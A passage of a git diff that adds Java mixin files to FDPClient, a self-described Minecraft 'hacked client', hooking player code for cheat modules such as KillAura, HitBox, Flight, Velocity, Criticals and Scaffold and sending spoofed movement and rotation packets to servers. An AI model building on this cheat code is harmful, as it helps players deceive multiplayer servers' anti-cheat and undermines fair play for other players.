@Shadow + public boolean isInWeb; + + @Shadow + public float stepHeight; + + @Shadow + public boolean isCollidedHorizontally; + + @Shadow + public boolean isCollidedVertically; + + @Shadow + public boolean isCollided; + + @Shadow + public float distanceWalkedModified; + + @Shadow + public float distanceWalkedOnStepModified; + + @Shadow + public abstract boolean isInWater(); + + @Shadow + protected Random rand; + + @Shadow + public int fireResistance; + + @Shadow + protected boolean inPortal; + + @Shadow + public int timeUntilPortal; + + @Shadow + public float width; + @Shadow + public abstract void setSprinting(boolean sprinting); + @Shadow + public abstract boolean isRiding(); + + @Shadow + public abstract void setFire(int seconds); + + @Shadow + protected abstract void dealFireDamage(int amount); + + @Shadow + public abstract boolean isWet(); + + @Shadow + public abstract void addEntityCrashInfo(CrashReportCategory category); + + @Shadow + protected abstract void doBlockCollisions(); + + @Shadow + protected abstract void playStepSound(BlockPos pos, Block blockIn); + + @Shadow + public abstract void setEntityBoundingBox(AxisAlignedBB bb); + + @Shadow + private int nextStepDistance; + + @Shadow + private int fire; + + @Shadow + public abstract Vec3 getVectorForRotation(float pitch, float yaw); + + @Shadow + public abstract UUID getUniqueID(); + + @Shadow + public abstract boolean isSneaking(); + + @Shadow + public abstract boolean equals(Object p_equals_1_); + + @Shadow public abstract float getEyeHeight(); + + public int getNextStepDistance() { + return nextStepDistance; + } + + public void setNextStepDistance(int nextStepDistance) { + this.nextStepDistance = nextStepDistance; + } + + public int getFire() { + return fire; + } + + @Inject(method = "moveFlying", at = @At("HEAD"), cancellable = true) + private void handleRotations(float strafe, float forward, float friction, final CallbackInfo callbackInfo) { + if ((Object) this != Minecraft.getMinecraft().thePlayer) + return; + + final StrafeEvent strafeEvent = new StrafeEvent(strafe, forward, friction, rotationYaw); + final StrafeFix strafeFix = FDPClient.moduleManager.getModule(StrafeFix.class); + //alert("Strafe: " + strafe + " Forward: " + forward + " Factor: " + friction + " DoFix: " + strafeFix.getDoFix()); + FDPClient.eventManager.callEvent(strafeEvent); + if (strafeFix.getDoFix()) { //Run StrafeFix process on Post Strafe 2023/02/15 + strafeFix.runStrafeFixLoop(strafeFix.getSilentFix(), strafeEvent); + } + + if (strafeEvent.isCancelled()) + callbackInfo.cancel(); + } + + @Inject(method = "isInWater", at = @At("HEAD"), cancellable = true) + private void isInWater(final CallbackInfoReturnable<Boolean> cir) { + if (NoFluid.INSTANCE.getState() && NoFluid.INSTANCE.getWaterValue().get()) { + cir.setReturnValue(false); + } + } + + @Inject(method = "isInLava", at = @At("HEAD"), cancellable = true) + private void isInLava(final CallbackInfoReturnable<Boolean> cir) { + if (NoFluid.INSTANCE.getState() && NoFluid.INSTANCE.getLavaValue().get()) { + cir.setReturnValue(false); + } + } + + @Inject(method = "getCollisionBorderSize", at = @At("HEAD"), cancellable = true) + private void getCollisionBorderSize(final CallbackInfoReturnable<Float> callbackInfoReturnable) { + final HitBox hitBox = FDPClient.moduleManager.getModule(HitBox.class); + final ViaVersionFix viaVersionFix = FDPClient.moduleManager.getModule(ViaVersionFix.class); + + if (hitBox.getState() && EntityUtils.INSTANCE.isSelected(((Entity)((Object)this)),true)) { + if (viaVersionFix.getState()) { + callbackInfoReturnable.setReturnValue(hitBox.getSizeValue().get()); + } else { + callbackInfoReturnable.setReturnValue(0.1F + hitBox.getSizeValue().get()); + } + } else if (viaVersionFix.getState()) { + callbackInfoReturnable.setReturnValue(0.0F); + } + } + + @Inject(method="getBrightnessForRender", at=@At(value="HEAD"), cancellable=true) + private void getBrightnessForRender(float f, CallbackInfoReturnable<Integer> callbackInfoReturnable) { + if (Performance.fastEntityLightningValue.get()) { + int n, n2, n3 = MathHelper.floor_double(this.posX); + IWorld world = (IWorld)this.worldObj; + callbackInfoReturnable.setReturnValue(world.isBlockLoaded(n3, n2 = MathHelper.floor_double(this.posY + (double)this.getEyeHeight()), n = MathHelper.floor_double(this.posZ)) ? world.getCombinedLight(n3, n2, n, 0) : 0); + } + } + + @Inject(method="getBrightness", at=@At(value="HEAD"), cancellable=true) + public void getBrightness(float f, CallbackInfoReturnable<Float> callbackInfoReturnable) { + if (Performance.fastEntityLightningValue.get()) { + int n, n2, n3 = MathHelper.floor_double(this.posX); + IWorld world = (IWorld)this.worldObj; + callbackInfoReturnable.setReturnValue(world.isBlockLoaded(n3, n2 = MathHelper.floor_double(this.posY + (double) this.getEyeHeight()), n = MathHelper.floor_double(this.posZ)) ? world.getLightBrightness(n3, n2, n) : 0.0f); + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityLivingBase.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityLivingBase.java new file mode 100644 index 0000000..0a62a5a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityLivingBase.java @@ -0,0 +1,209 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.entity; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.JumpEvent; +import net.ccbluex.liquidbounce.features.module.modules.client.Animations; +import net.ccbluex.liquidbounce.features.module.modules.client.Rotations; +import net.ccbluex.liquidbounce.features.module.modules.movement.Jesus; +import net.ccbluex.liquidbounce.features.module.modules.movement.NoJumpDelay; +import net.ccbluex.liquidbounce.features.module.modules.movement.Sprint; +import net.ccbluex.liquidbounce.features.module.modules.movement.StrafeFix; +import net.ccbluex.liquidbounce.features.module.modules.visual.AntiBlind; +import net.ccbluex.liquidbounce.features.module.modules.exploit.ViaVersionFix; +import net.ccbluex.liquidbounce.utils.MovementUtils; +import net.ccbluex.liquidbounce.utils.Rotation; +import net.ccbluex.liquidbounce.utils.RotationUtils; +import net.minecraft.block.Block; +import net.minecraft.client.Minecraft; +import net.minecraft.client.entity.EntityPlayerSP; +import net.minecraft.entity.EntityLivingBase; +import net.minecraft.item.ItemStack; +import net.minecraft.potion.Potion; +import net.minecraft.potion.PotionEffect; +import net.minecraft.util.BlockPos; +import net.minecraft.util.MathHelper; +import net.minecraft.util.Vec3; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.*; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.util.Objects; + +@Mixin(EntityLivingBase.class) +public abstract class MixinEntityLivingBase extends MixinEntity { + + @Shadow + public float rotationYawHead; + @Shadow + protected boolean isJumping; + @Shadow + public int jumpTicks; + + @Shadow + protected abstract float getJumpUpwardsMotion(); + + @Shadow + public abstract PotionEffect getActivePotionEffect(Potion potionIn); + + @Shadow + public abstract boolean isPotionActive(Potion potionIn); + + @Shadow + public void onLivingUpdate() { + } + + @Shadow + protected abstract void updateFallState(double y, boolean onGroundIn, Block blockIn, BlockPos pos); + + @Shadow + public abstract float getHealth(); + + @Shadow + public abstract ItemStack getHeldItem(); + + @Shadow + protected abstract void updateAITick(); + + @Shadow protected abstract void entityInit(); + + @Shadow public abstract void setSprinting(boolean p_setSprinting_1_); + + @Shadow public abstract float getRotationYawHead(); + + @Shadow public abstract void fall(float p_fall_1_, float p_fall_2_); + + /** + * @author CCBlueX + * @author CoDynamic + * Modified by Co Dynamic + * Date: 2023/02/15 + */ + @Overwrite + protected void jump() { + if (!this.equals(Minecraft.getMinecraft().thePlayer)) { + return; + } + + /** + * Jump Process Fix + * use updateFixState to reset Jump Fix state + * @param fixedYaw The yaw player should have (NOT RotationYaw) + * @param strafeFix StrafeFix Module + */ + + final JumpEvent jumpEvent = new JumpEvent(MovementUtils.INSTANCE.getJumpMotion(),0f); + FDPClient.eventManager.callEvent(jumpEvent); + if (jumpEvent.isCancelled()) + return; + + this.motionY = jumpEvent.getMotion(); + final Sprint sprint = FDPClient.moduleManager.getModule(Sprint.class); + final StrafeFix strafeFix = FDPClient.moduleManager.getModule(StrafeFix.class); + + if (this.isSprinting()) { + float fixedYaw = this.rotationYaw; + if(RotationUtils.targetRotation != null && Objects.requireNonNull(strafeFix).getDoFix()) { + fixedYaw = RotationUtils.targetRotation.getYaw(); + } + if(Objects.requireNonNull(sprint).getState() && sprint.getJumpDirectionsValue().get()) { + fixedYaw += MovementUtils.INSTANCE.getMovingYaw() - this.rotationYaw; + } + this.motionX -= MathHelper.sin(fixedYaw / 180F * 3.1415927F) * 0.2F; + this.motionZ += MathHelper.cos(fixedYaw / 180F * 3.1415927F) * 0.2F; + } + + this.isAirBorne = true; + } + + @Inject(method = "onLivingUpdate", at = @At("HEAD")) + private void headLiving(CallbackInfo callbackInfo) { + if (Objects.requireNonNull(FDPClient.moduleManager.getModule(NoJumpDelay.class)).getState()) + jumpTicks = 0; + } + + @Inject(method = "onLivingUpdate", at = @At(value = "FIELD", target = "Lnet/minecraft/entity/EntityLivingBase;isJumping:Z", ordinal = 1)) + private void onJumpSection(CallbackInfo callbackInfo) { + final Jesus jesus = FDPClient.moduleManager.getModule(Jesus.class); + + if (Objects.requireNonNull(jesus).getState() && !isJumping && !isSneaking() && isInWater() && + jesus.getModeValue().equals("Legit")) { + this.updateAITick(); + } + } + + @ModifyConstant(method = "onLivingUpdate", constant = @Constant(doubleValue = 0.005D)) + private double ViaVersion_MovementThreshold(double constant) { + final ViaVersionFix viaversionfix = FDPClient.moduleManager.getModule(ViaVersionFix.class); + if (Objects.requireNonNull(viaversionfix).getState()){ + return 0.003D; + } + return 0.005D; + } + + /** + * Inject head yaw rotation modification + */ + @Inject(method = "onLivingUpdate", at = @At(value = "INVOKE", target = "Lnet/minecraft/entity/EntityLivingBase;updateEntityActionState()V", shift = At.Shift.AFTER)) + private void hookHeadRotations(CallbackInfo ci) { + Rotation rotation = Rotations.INSTANCE.getRotation(false); + + this.rotationYawHead = ((EntityLivingBase) (Object) this) instanceof EntityPlayerSP && Rotations.INSTANCE.shouldUseRealisticMode() && rotation != null ? rotation.getYaw() : this.rotationYawHead; + } + + /** + * Inject body rotation modification + */ + @Redirect(method = "onUpdate", at = @At(value = "FIELD", target = "Lnet/minecraft/entity/EntityLivingBase;rotationYaw:F", ordinal = 0)) + private float hookBodyRotationsA(EntityLivingBase instance) { + Rotation rotation = Rotations.INSTANCE.getRotation(false); + + return instance instanceof EntityPlayerSP && Rotations.INSTANCE.shouldUseRealisticMode() && rotation != null ? rotation.getYaw() : instance.rotationYaw; + } + + + /** + * Inject body rotation modification + */ + @Redirect(method = "updateDistance", at = @At(value = "FIELD", target = "Lnet/minecraft/entity/EntityLivingBase;rotationYaw:F")) + private float hookBodyRotationsB(EntityLivingBase instance) { + Rotation rotation = Rotations.INSTANCE.getRotation(false); + + return instance instanceof EntityPlayerSP && Rotations.INSTANCE.shouldUseRealisticMode() && rotation != null ? rotation.getYaw() : instance.rotationYaw; + } + + @Inject(method = "getLook", at = @At("HEAD"), cancellable = true) + private void getLook(CallbackInfoReturnable<Vec3> callbackInfoReturnable) { + if (((EntityLivingBase) (Object) this) instanceof EntityPlayerSP) + callbackInfoReturnable.setReturnValue(getVectorForRotation(this.rotationPitch, this.rotationYaw)); + } + + @Inject(method = "isPotionActive(Lnet/minecraft/potion/Potion;)Z", at = @At("HEAD"), cancellable = true) + private void isPotionActive(Potion p_isPotionActive_1_, final CallbackInfoReturnable<Boolean> callbackInfoReturnable) { + final AntiBlind antiBlind = FDPClient.moduleManager.getModule(AntiBlind.class); + + if ((p_isPotionActive_1_ == Potion.confusion || p_isPotionActive_1_ == Potion.blindness) && Objects.requireNonNull(antiBlind).getState() && antiBlind.getConfusionEffectValue().get()) + callbackInfoReturnable.setReturnValue(false); + } + + /** + * @author Liuli + */ + @Overwrite + private int getArmSwingAnimationEnd() { + int speed = this.isPotionActive(Potion.digSpeed) ? 6 - (1 + this.getActivePotionEffect(Potion.digSpeed).getAmplifier()) : (this.isPotionActive(Potion.digSlowdown) ? 6 + (1 + this.getActivePotionEffect(Potion.digSlowdown).getAmplifier()) * 2 : 6); + + if (this.equals(Minecraft.getMinecraft().thePlayer)) { + speed = (int) (speed * Animations.INSTANCE.getSwingSpeedValue().get()); + } + + return speed; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityOtherPlayerMP.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityOtherPlayerMP.java new file mode 100644 index 0000000..3000658 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityOtherPlayerMP.java @@ -0,0 +1,30 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.entity; + +import net.minecraft.client.entity.EntityOtherPlayerMP; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Unique; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(EntityOtherPlayerMP.class) +public class MixinEntityOtherPlayerMP { + @Unique + private boolean fDP1$isItemInUse; + @Unique + private int fDP1$otherPlayerMPPosRotationIncrements; + @Unique + public double fDP1$otherPlayerMPX; + @Unique + public double fDP1$otherPlayerMPY; + @Unique + public double fDP1$otherPlayerMPZ; + @Unique + public double fDP1$otherPlayerMPYaw; + @Unique + public double fDP1$otherPlayerMPPitch; + @Inject(method = "onLivingUpdate", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/entity/EntityOtherPlayerMP;updateArmSwingProgress()V", shift = At.Shift.AFTER), cancellable = true) + private void removeUselessAnimations(CallbackInfo ci) { + ci.cancel(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityPlayer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityPlayer.java new file mode 100644 index 0000000..d65102b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityPlayer.java @@ -0,0 +1,94 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.entity; + +import com.mojang.authlib.GameProfile; +import net.ccbluex.liquidbounce.features.module.modules.combat.KeepSprint; +import net.ccbluex.liquidbounce.utils.CooldownHelper; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.entity.player.InventoryPlayer; +import net.minecraft.entity.player.PlayerCapabilities; +import net.minecraft.item.ItemStack; +import net.minecraft.util.FoodStats; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.Unique; +import org.spongepowered.asm.mixin.injection.*; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import net.minecraft.client.Minecraft; + +@Mixin(EntityPlayer.class) +public abstract class MixinEntityPlayer extends MixinEntityLivingBase { + + @Shadow public abstract String getName(); + + @Shadow + public abstract ItemStack getHeldItem(); + + @Shadow + public abstract GameProfile getGameProfile(); + + @Shadow + protected abstract boolean canTriggerWalking(); + + @Shadow + protected abstract String getSwimSound(); + + @Shadow + public abstract FoodStats getFoodStats(); + + @Shadow + protected int flyToggleTimer; + + @Shadow + public PlayerCapabilities capabilities; + + @Shadow + public abstract int getItemInUseDuration(); + + @Shadow + public abstract ItemStack getItemInUse(); + + @Shadow + public abstract boolean isUsingItem(); + + @Shadow public InventoryPlayer inventory; + + @Shadow protected abstract void entityInit(); + + @Shadow public abstract void fall(float p_fall_1_, float p_fall_2_); + + @Unique + private ItemStack fDP1$cooldownStack; + @Unique + private int fDP1$cooldownStackSlot; + + @Inject(method = "onUpdate", at = @At("RETURN")) + private void injectCooldown(final CallbackInfo callbackInfo) { + if (this.getGameProfile() == Minecraft.getMinecraft().thePlayer.getGameProfile()) { + CooldownHelper.INSTANCE.incrementLastAttackedTicks(); + CooldownHelper.INSTANCE.updateGenericAttackSpeed(getHeldItem()); + + if (fDP1$cooldownStackSlot != inventory.currentItem || !ItemStack.areItemStacksEqual(fDP1$cooldownStack, getHeldItem())) { + CooldownHelper.INSTANCE.resetLastAttackedTicks(); + } + + fDP1$cooldownStack = getHeldItem(); + fDP1$cooldownStackSlot = inventory.currentItem; + } + } + @ModifyConstant(method = "attackTargetEntityWithCurrentItem", constant = @Constant(doubleValue = 0.6)) + private double injectKeepSprintA(double constant) { + return KeepSprint.INSTANCE.getState() ? KeepSprint.INSTANCE.getMotionAfterAttack().get() : constant; + } + + @Redirect(method = "attackTargetEntityWithCurrentItem", at = @At(value = "INVOKE", target = "Lnet/minecraft/entity/player/EntityPlayer;setSprinting(Z)V")) + private void injectKeepSprintB(EntityPlayer instance, boolean sprint) { + if (!KeepSprint.INSTANCE.getState()) { + instance.setSprinting(sprint); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityPlayerSP.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityPlayerSP.java new file mode 100644 index 0000000..fd1e395 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityPlayerSP.java @@ -0,0 +1,806 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.entity; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.*; +import net.ccbluex.liquidbounce.features.module.modules.combat.Criticals; +import net.ccbluex.liquidbounce.features.module.modules.combat.KillAura; +import net.ccbluex.liquidbounce.features.module.modules.combat.Velocity; +import net.ccbluex.liquidbounce.features.module.modules.exploit.AntiDesync; +import net.ccbluex.liquidbounce.features.module.modules.movement.Flight; +import net.ccbluex.liquidbounce.features.module.modules.movement.InvMove; +import net.ccbluex.liquidbounce.features.module.modules.movement.NoSlow; +import net.ccbluex.liquidbounce.features.module.modules.movement.Sprint; +import net.ccbluex.liquidbounce.features.module.modules.movement.StrafeFix; +import net.ccbluex.liquidbounce.features.module.modules.world.scaffold.Scaffold; +import net.ccbluex.liquidbounce.features.module.modules.world.scaffold.Scaffold2; +import net.ccbluex.liquidbounce.features.module.modules.world.scaffold.Scaffold3; +import net.ccbluex.liquidbounce.utils.RotationUtils; +import net.ccbluex.liquidbounce.utils.MovementUtils; +import net.minecraft.block.Block; +import net.minecraft.block.BlockFence; +import net.minecraft.block.BlockFenceGate; +import net.minecraft.block.BlockWall; +import net.minecraft.block.material.Material; +import net.minecraft.client.Minecraft; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.client.entity.EntityPlayerSP; +import net.minecraft.client.network.NetHandlerPlayClient; +import net.minecraft.crash.CrashReport; +import net.minecraft.crash.CrashReportCategory; +import net.minecraft.entity.Entity; +import net.minecraft.init.Blocks; +import net.minecraft.item.ItemSword; +import net.minecraft.network.play.client.C03PacketPlayer; +import net.minecraft.network.play.client.C0BPacketEntityAction; +import net.minecraft.potion.Potion; +import net.minecraft.util.*; +import org.spongepowered.asm.mixin.*; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.util.List; +import java.util.Objects; + +import static java.lang.Math.abs; + +@Mixin(EntityPlayerSP.class) +public abstract class MixinEntityPlayerSP extends MixinAbstractClientPlayer { + + @Shadow + private boolean serverSneakState; + + @Shadow + public boolean serverSprintState; + + @Shadow + public abstract void playSound(String name, float volume, float pitch); + + @Shadow + public int sprintingTicksLeft; + + @Shadow + protected int sprintToggleTimer; + + @Shadow + public float timeInPortal; + + @Shadow + public float prevTimeInPortal; + + @Shadow + protected Minecraft mc; + + @Shadow + public MovementInput movementInput; + + @Shadow + public abstract void setSprinting(boolean sprinting); + + @Shadow + protected abstract boolean pushOutOfBlocks(double x, double y, double z); + + @Shadow + public abstract void sendPlayerAbilities(); + + @Shadow + public float horseJumpPower; + + @Shadow + public int horseJumpPowerCounter; + + @Shadow + protected abstract void sendHorseJump(); + + @Shadow + public abstract boolean isRidingHorse(); + + @Shadow + @Final + public NetHandlerPlayClient sendQueue; + + @Shadow + public abstract boolean isSneaking(); + + @Shadow + public double lastReportedPosX; + + @Shadow + public int positionUpdateTicks; + + @Shadow + public double lastReportedPosY; + + @Shadow + public double lastReportedPosZ; + + @Shadow + private float lastReportedYaw; + + @Shadow + private float lastReportedPitch; + + @Shadow + protected abstract boolean isCurrentViewEntity(); + + @Shadow public abstract void addChatMessage(IChatComponent p_addChatMessage_1_); + + /** + * @author CCBlueX, liulihaocai + * + * use inject to make sure this works with ViaForge mod + */ + @Inject(method = "onUpdateWalkingPlayer", at = @At("HEAD"), cancellable = true) + public void onUpdateWalkingPlayer(CallbackInfo ci) { + try { + final StrafeFix strafeFix = FDPClient.moduleManager.getModule(StrafeFix.class); + Objects.requireNonNull(strafeFix).updateOverwrite(); + + FDPClient.eventManager.callEvent(new MotionEvent(EventState.PRE)); + + boolean flag = this.isSprinting(); + //alert("Attempt: " + debug_AttemptSprint + " Actual: " + this.isSprinting() + " Server: " + this.serverSprintState); + if (flag != this.serverSprintState) { + if (flag) { + this.sendQueue.addToSendQueue(new C0BPacketEntityAction((EntityPlayerSP) (Object) this, C0BPacketEntityAction.Action.START_SPRINTING)); + } else { + this.sendQueue.addToSendQueue(new C0BPacketEntityAction((EntityPlayerSP) (Object) this, C0BPacketEntityAction.Action.STOP_SPRINTING)); + } + + this.serverSprintState = flag; + } + + boolean flag1 = this.isSneaking(); + if (flag1 != this.serverSneakState) { + if (flag1) { + this.sendQueue.addToSendQueue(new C0BPacketEntityAction((EntityPlayerSP) (Object) this, C0BPacketEntityAction.Action.START_SNEAKING)); + } else { + this.sendQueue.addToSendQueue(new C0BPacketEntityAction((EntityPlayerSP) (Object) this, C0BPacketEntityAction.Action.STOP_SNEAKING)); + } + + this.serverSneakState = flag1; + } + + if (this.isCurrentViewEntity()) { + float yaw = rotationYaw; + float pitch = rotationPitch; + float lastReportedYaw = Objects.requireNonNull(RotationUtils.serverRotation).getYaw(); + float lastReportedPitch = RotationUtils.serverRotation.getPitch(); + + if (RotationUtils.targetRotation != null) { + yaw = RotationUtils.targetRotation.getYaw(); + pitch = RotationUtils.targetRotation.getPitch(); + } + + double xDiff = this.posX - this.lastReportedPosX; + double yDiff = this.getEntityBoundingBox().minY - this.lastReportedPosY; + double zDiff = this.posZ - this.lastReportedPosZ; + double yawDiff = yaw - lastReportedYaw; + double pitchDiff = pitch - lastReportedPitch; + + final Flight fly = FDPClient.moduleManager.getModule(Flight.class); + final Criticals criticals = FDPClient.moduleManager.getModule(Criticals.class); + final AntiDesync antiDesync = FDPClient.moduleManager.getModule(AntiDesync.class); + boolean moved = xDiff * xDiff + yDiff * yDiff + zDiff * zDiff > 9.0E-4D || this.positionUpdateTicks >= 20 || (Objects.requireNonNull(fly).getState() && fly.getAntiDesync()) || (Objects.requireNonNull(criticals).getState() && criticals.getAntiDesync()) || (Objects.requireNonNull(antiDesync).getState() && xDiff * xDiff + yDiff * yDiff + zDiff * zDiff > 0.0D); + boolean rotated = yawDiff != 0.0D || pitchDiff != 0.0D; + + if (this.ridingEntity == null) { + if (moved && rotated) { + this.sendQueue.addToSendQueue(new C03PacketPlayer.C06PacketPlayerPosLook(this.posX, this.getEntityBoundingBox().minY, this.posZ, yaw, pitch, this.onGround)); + } else if (moved) { + this.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(this.posX, this.getEntityBoundingBox().minY, this.posZ, this.onGround)); + } else if (rotated) { + this.sendQueue.addToSendQueue(new C03PacketPlayer.C05PacketPlayerLook(yaw, pitch, this.onGround)); + } else { + this.sendQueue.addToSendQueue(new C03PacketPlayer(this.onGround)); + } + } else { + this.sendQueue.addToSendQueue(new C03PacketPlayer.C06PacketPlayerPosLook(this.motionX, -999.0D, this.motionZ, yaw, pitch, this.onGround)); + moved = false; + } + + ++this.positionUpdateTicks; + + if (moved) { + this.lastReportedPosX = this.posX; + this.lastReportedPosY = this.getEntityBoundingBox().minY; + this.lastReportedPosZ = this.posZ; + this.positionUpdateTicks = 0; + } + + if (rotated) { + this.lastReportedYaw = this.rotationYaw; + this.lastReportedPitch = this.rotationPitch; + } + } + + FDPClient.eventManager.callEvent(new MotionEvent(EventState.POST)); + } catch (final Exception e) { + e.printStackTrace(); + } + + ci.cancel(); + } + + @Inject(method = "pushOutOfBlocks", at = @At("HEAD"), cancellable = true) + private void onPushOutOfBlocks(CallbackInfoReturnable<Boolean> callbackInfoReturnable) { + PushOutEvent event = new PushOutEvent(); + if (this.noClip) event.cancelEvent(); + FDPClient.eventManager.callEvent(event); + + if (event.isCancelled()) + callbackInfoReturnable.setReturnValue(false); + } + + /** + * @author CCBlueX + * @author CoDynamic + * Modified by Co Dynamic + * Date: 2023/02/15 + * @reason Fix Sprint / UpdateEvent + */ + @Overwrite + public void onLivingUpdate() { + + /** + * Update Sprint State - Pre + * - Run Sprint update before UpdateEvent + * - Update base sprint state (Vanilla) + * @param attemptToggle attempt to toggle sprint + * @param baseIsMoving is player moving with the "Sprint-able" direction + * @param baseSprintState whether you can sprint or not (Vanilla) + * @param canToggleSprint whether you can sprint by double-tapping MoveForward key + * @param isCurrentUsingItem is player using item + * @return + */ + + boolean lastForwardToggleState = this.movementInput.moveForward > 0.05f; + boolean lastJumpToggleState = this.movementInput.jump; + + this.movementInput.updatePlayerMoveState(); + + final Sprint sprint = FDPClient.moduleManager.getModule(Sprint.class); + final NoSlow noSlow = FDPClient.moduleManager.getModule(NoSlow.class); + final KillAura killAura = FDPClient.moduleManager.getModule(KillAura.class); + final InvMove inventoryMove = FDPClient.moduleManager.getModule(InvMove.class); + final StrafeFix strafeFix = FDPClient.moduleManager.getModule(StrafeFix.class); + final Scaffold2 scaffold2 = FDPClient.moduleManager.getModule(Scaffold2.class); + final Scaffold scaffold = FDPClient.moduleManager.getModule(Scaffold.class); + final Scaffold3 scaffold3 = FDPClient.moduleManager.getModule(Scaffold3.class); + final Velocity veloctiy = FDPClient.moduleManager.getModule(Velocity.class); + + if (this.sprintingTicksLeft > 0) { + --this.sprintingTicksLeft; + + if (this.sprintingTicksLeft == 0) { + this.setSprinting(false); + } + } + + if (this.sprintToggleTimer > 0) { + --this.sprintToggleTimer; + } + + boolean isSprintDirection; + boolean movingStat = abs(this.movementInput.moveForward) > 0.05f || abs(this.movementInput.moveStrafe) > 0.05f; + + boolean runStrictStrafe = Objects.requireNonNull(strafeFix).getDoFix() && !strafeFix.getSilentFix(); + boolean noStrafe = RotationUtils.targetRotation == null || !strafeFix.getDoFix(); + + if (!movingStat || runStrictStrafe || noStrafe) { + isSprintDirection = this.movementInput.moveForward > 0.05f; + }else { + isSprintDirection = abs(RotationUtils.getAngleDifference(MovementUtils.INSTANCE.getMovingYaw(), RotationUtils.targetRotation.getYaw())) < 67.0f; + } + + if (!movingStat) { + isSprintDirection = false; + } + + // A separate movement input for currentRotation + + boolean attemptToggle = Objects.requireNonNull(sprint).getState() || this.isSprinting() || this.mc.gameSettings.keyBindSprint.isKeyDown(); + boolean baseIsMoving = (sprint.getState() && sprint.getAllDirectionsValue().get() && (abs(this.movementInput.moveForward) > 0.05f || abs(this.movementInput.moveStrafe) > 0.05f)) || isSprintDirection; + boolean baseSprintState = ((!sprint.getHungryValue().get() && sprint.getState()) || (float) this.getFoodStats().getFoodLevel() > 6.0F || this.capabilities.allowFlying) && baseIsMoving && (!this.isCollidedHorizontally || sprint.getCollideValue().get()) && (!this.isSneaking() || sprint.getSneakValue().get()) && !this.isPotionActive(Potion.blindness); + boolean canToggleSprint = this.onGround && !this.movementInput.jump && !this.movementInput.sneak && !this.isPotionActive(Potion.blindness); + boolean isCurrentUsingItem = getHeldItem() != null && (this.isUsingItem() || (getHeldItem().getItem() instanceof ItemSword && Objects.requireNonNull(killAura).getBlockingStatus())) && !this.isRiding(); + boolean isCurrentUsingSword = getHeldItem() != null && getHeldItem().getItem() instanceof ItemSword && (Objects.requireNonNull(killAura).getBlockingStatus() || this.isUsingItem()); + + baseSprintState = baseSprintState && !(Objects.requireNonNull(inventoryMove).getNoSprintValue().equals("Real") && inventoryMove.getInvOpen()); + + if (!attemptToggle && !lastForwardToggleState && baseSprintState && !this.isSprinting() && canToggleSprint && !isCurrentUsingItem && !this.isPotionActive(Potion.blindness)) { + if (this.sprintToggleTimer <= 0 && !this.mc.gameSettings.keyBindSprint.isKeyDown()) { + this.sprintToggleTimer = 7; + } else { + attemptToggle = true; + } + } + + this.setSprinting(sprint.getForceSprint() || baseSprintState && (!isCurrentUsingItem || (sprint.getUseItemValue().get() && (!sprint.getUseItemSwordValue().get() || isCurrentUsingSword))) && attemptToggle); + + //Run Sprint update before UpdateEvent + + FDPClient.eventManager.callEvent(new UpdateEvent()); + + //Update Portal Effects state (Vanilla) + + this.prevTimeInPortal = this.timeInPortal; + + if (this.inPortal) { + + if (this.timeInPortal == 0.0F) { + this.mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("portal.trigger"), this.rand.nextFloat() * 0.4F + 0.8F)); + } + + this.timeInPortal += 0.0125F; + + if (this.timeInPortal >= 1.0F) { + this.timeInPortal = 1.0F; + } + + this.inPortal = false; + } else if (this.isPotionActive(Potion.confusion) && this.getActivePotionEffect(Potion.confusion).getDuration() > 60) { + 